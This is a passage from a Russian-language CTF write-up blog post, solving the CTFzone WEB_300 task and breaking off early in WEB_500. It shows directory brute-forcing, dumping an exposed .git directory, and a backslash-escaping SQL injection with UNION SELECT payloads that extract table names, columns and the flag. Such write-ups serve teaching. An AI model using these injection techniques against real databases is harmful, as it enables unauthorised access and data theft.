{"id":282558,"date":"2016-12-15T14:55:04","date_gmt":"2016-12-15T11:55:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=282558"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=282558","title":{"rendered":"CTFzone write-ups \u2014 Deeper into the WEB"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/de8\/9a6\/d67\/de89a6d6758147509de16c07f02a2bf3.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0437\u044c\u044f, \u043d\u0430\u0434\u0435\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0443 \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0448\u043b\u0438 \u0445\u043e\u0440\u043e\u0448\u043e, \u0438 \u0432\u044b \u0441\u043d\u043e\u0432\u0430 \u0433\u043e\u0442\u043e\u0432\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u0442\u044c \u0433\u043e\u043b\u043e\u0432\u0443 \u043d\u0430\u0434 \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c\u0438 CTFzone. \u041c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f\u044b \u043a \u0442\u0430\u0441\u043a\u0430\u043c, \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0432\u0435\u0442\u043a\u0443 <strong>WEB<\/strong>. \u041d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0437\u0430\u043f\u0430\u0441\u0430\u0439\u0442\u0435\u0441\u044c \u043a\u0430\u0432\u044b\u0447\u043a\u0430\u043c\u0438 \u0438 \u0432\u043f\u0435\u0440\u0435\u0434 \ud83d\ude09<\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 WEB \u0431\u044b\u043b\u043e \u0432\u0442\u043e\u0440\u044b\u043c \u043f\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 Forensics, \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0438\u043b\u0438 303 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u041a\u0441\u0442\u0430\u0442\u0438, \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 1000 \u0440\u0435\u0448\u0438\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u044f\u0442\u044c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u043c\u0443 \u043c\u044b \u0443\u0434\u0435\u043b\u0438\u043c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \u0417\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 50 \u0438 \u043d\u0430 100 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u0442\u0430\u043a \u0447\u0442\u043e \u043c\u044b \u0441\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0442\u0430\u0441\u043a\u0430\u043c \u043f\u043e\u0441\u043b\u043e\u0436\u043d\u0435\u0435. <\/p>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h4 id=\"web_300-need-to-go-deeper\">WEB_300. Need to go deeper<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong>Captain Picard<\/strong>: Lieutenant, over! We have found one of the main alien hackers. He is the leader of the group which keeps attacking our servers and we\u2019ve got one of his websites. I know that you\u2019re still busy repairing your ship but there is no one who can do it but you. You have to crack the website and to find the data which will help us catch him.<\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0432 \u044d\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u043b\u0438\u0434\u0435\u0440\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u041c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435, \u0438 \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0435\u0433\u043e \u043d\u0430\u0434\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c.<\/p>\n<p>  <\/p>\n<p>\u0421\u0430\u0439\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0437 \u0441\u0435\u0431\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u043d\u043e\u0439 \u0431\u043b\u043e\u0433 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u0438\u0441\u043a\u0430:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b97\/4f5\/0c2\/b974f50c2d5544eaaa90dc0b9776c63f.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>dirb<\/code>)<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/6d2\/2b2\/6ef\/6d22b26efd1c498489190c68bb3fdf47.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f <code>.git<\/code>. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u0434\u0430\u043c\u043f\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>rip-git<\/code>)<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c58\/ba4\/90d\/c58ba490dbdf48f1b6efc0477a031fe8.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0412 \u0438\u0442\u043e\u0433\u0435 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/bf3\/9f0\/7ba\/bf39f07ba9ef4772ba4a5f46bff62d0c.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0438\u0437 <code>index.php<\/code>:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">inde\u0445.php<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">    ...     if (isset($_GET['filter']))         $filter = $_GET['filter'];     else         $filter = '%'; \/\/ all news      if (preg_match(&quot;\/'\/&quot;, $filter))         error('Hacking attempt!'); \/\/ hate hackers      if ($filter !== '%')     {         if (isset($_GET['type']))         {             switch ($_GET['type'])             {                 case 1:                     \/\/ looking for contains                     $filter = '%' . $filter . '%';                     break;                 case 2:                     \/\/ looking for e\u0445actly matches                     break;                 default:                     error('Type of search is incorrect!');             }         }         else             error('Type of search is empty!');     }      $query = &quot;CALL FIND_NEWS('&quot; . $filter . &quot;')&quot;;      $result = $mysqli-&gt;query($query);     ...<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u0422\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043b\u043e\u0433\u0438\u043a\u0430 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c. \u0412 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <code>type<\/code>, \u043a \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0443 <code>filter<\/code> \u043b\u0438\u0431\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f <code>%<\/code>, \u043b\u0438\u0431\u043e \u043d\u0435\u0442. \u041f\u043e\u0442\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 <code>filter<\/code> \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u044c <code>SQL<\/code> \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b <code>FIND_NEWS<\/code>. \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043c\u044b \u043d\u0435 \u0437\u043d\u0430\u0435\u043c, \u043d\u043e \u0438\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0432 \u043d\u0435\u0439 \u0437\u0430\u043b\u043e\u0436\u0435\u043d\u0430 \u043b\u043e\u0433\u0438\u043a\u0430 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0443. <\/p>\n<p>  <\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>filter<\/code> \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0437\u0430\u043f\u0440\u043e\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u0445 \u043a\u0430\u0432\u044b\u0447\u0435\u043a. \u0411\u043e\u043b\u044c\u0448\u0435 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0442. <code>SQL<\/code> \u043e\u0448\u0438\u0431\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>\\<\/code> \u0432 \u043a\u043e\u043d\u0446\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 (\u043f\u0440\u0438 <code>type<\/code> \u0440\u0430\u0432\u043d\u043e\u043c 2), \u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ff3\/20c\/665\/ff320c66549d40b493b43627669cf0f6.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u0434\u043e \u043a\u043e\u043f\u0430\u0442\u044c \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b <code>FIND_NEWS<\/code>. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u044e\u0442 \u0437\u043d\u0430\u043a\u0438 <code>%<\/code>, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u043e\u0438\u0441\u043a \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0438\u0434\u0451\u0442 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 <code>LIKE<\/code>. \u041f\u0440\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e\u0438\u0441\u043a\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e <code>filter<\/code> \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0438\u0449\u0435\u0442 \u043a\u0430\u043a \u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0435\u0451 \u0442\u0435\u043a\u0441\u0442\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"sql\">SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_te\u0445t LIKE '$filter$';<\/code><\/pre>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043b\u043e\u0433\u0438\u043a\u0430 \u044f\u0441\u043d\u0430, \u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043d\u0430\u043c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0443, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0435\u0433\u043e. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 <code>SQL Injection<\/code>, \u043d\u043e \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u0430\u043a, \u043a\u0430\u043a \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0435 \u0431\u0435\u0437 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u043e\u0439 \u043a\u0430\u0432\u044b\u0447\u043a\u0438? \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>filter<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0432\u0443\u0445 \u043c\u0435\u0441\u0442\u0430\u0445. \u0418 \u0442\u0443\u0442 \u043d\u0430\u043c \u043d\u0430 \u043f\u043e\u043c\u043e\u0449\u044c \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0441\u043b\u0435\u0448. <\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0432\u0438\u0434:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+or+1=1+--+\\<\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0438\u043c:<\/p>\n<p>  <\/p>\n<pre><code class=\"sql\">SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \\' OR news_te\u0445t LIKE ' or 1=1 -- \\';<\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043c \u0432\u0441\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u2014 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0441\u043b\u0435\u0448 \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u0434\u0430\u0436\u0435 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u2014 \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 (\u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b), \u043e\u0434\u043d\u0430\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0443\u0436\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u0432 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0441\u043b\u0435\u0448. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+or+1=1+--+\\\\<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/979\/a2f\/ed7\/979a2fed70864955bd5cc8a6a2202da4.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b, \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0438\u0441\u044c. \u041d\u0430\u0448 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f <code>SQL Injection<\/code> \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0438 \u043d\u0430\u0439\u0442\u0438 \u0444\u043b\u0430\u0433.<\/p>\n<p>  <\/p>\n<p>\u0423\u0437\u043d\u0430\u0451\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u043e\u043b\u0431\u0446\u043e\u0432:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+union+select+1,2,3+--+\\\\<\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0443\u0437\u043d\u0430\u0451\u043c \u0438\u043c\u0435\u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+union+select+1,table_name,3+from+information_schema.tables+--+\\\\<\/code><\/pre>\n<p>  <\/p>\n<p>\u0418\u0437 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/898\/47d\/009\/89847d00920445949d2ace7642665bbe.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0430 <code>secret<\/code>. \u0423\u0437\u043d\u0430\u0451\u043c \u0435\u0451 \u043a\u043e\u043b\u043e\u043d\u043a\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+union+select+1,column_name,3+from+information_schema.columns+where+table_name=&quot;secret&quot;+--+\\\\<\/code><\/pre>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8af\/ada\/72d\/8afada72dedd4008aee9455c0b4140cf.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0448\u0430\u0433 \u2014 \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u043c \u0444\u043b\u0430\u0433.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">+union+select+1,flag,3+from+secret+--+\\\\<\/code><\/pre>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c36\/494\/440\/c36494440a3341d1a85b216ce946afdd.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0423\u0440\u0430! \u0424\u043b\u0430\u0433 \u043f\u043e\u043b\u0443\u0447\u0435\u043d!<\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442:<\/strong> <em>ctfzone{VeRY_d33p}<\/em><\/p>\n<p>  <\/p>\n<p>  <\/p>\n<p>  <\/p>\n<h4 id=\"web_500-such-hack\">WEB_500. Such hack<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong>Captain Picard:<\/strong> Lieutenant, we have detected alien\u2019s news website. Perhaps, there is some data on their server which will tell us about their plans. Get it!<\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0412 \u044d\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0433\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u043b\u044e\u0447.<\/p>\n<p>  <\/p>\n<p>\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/177\/1d4\/ecc\/1771d4eccb9145868554baa911137532.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u0440\u0442\u0430 \u0441\u0430\u0439\u0442\u0430 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u0430\u044f:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ec7\/b2b\/074\/ec7b2b074fd54cc8bd2ae6a7b38676aa.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0418\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <code>Flask<\/code>. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 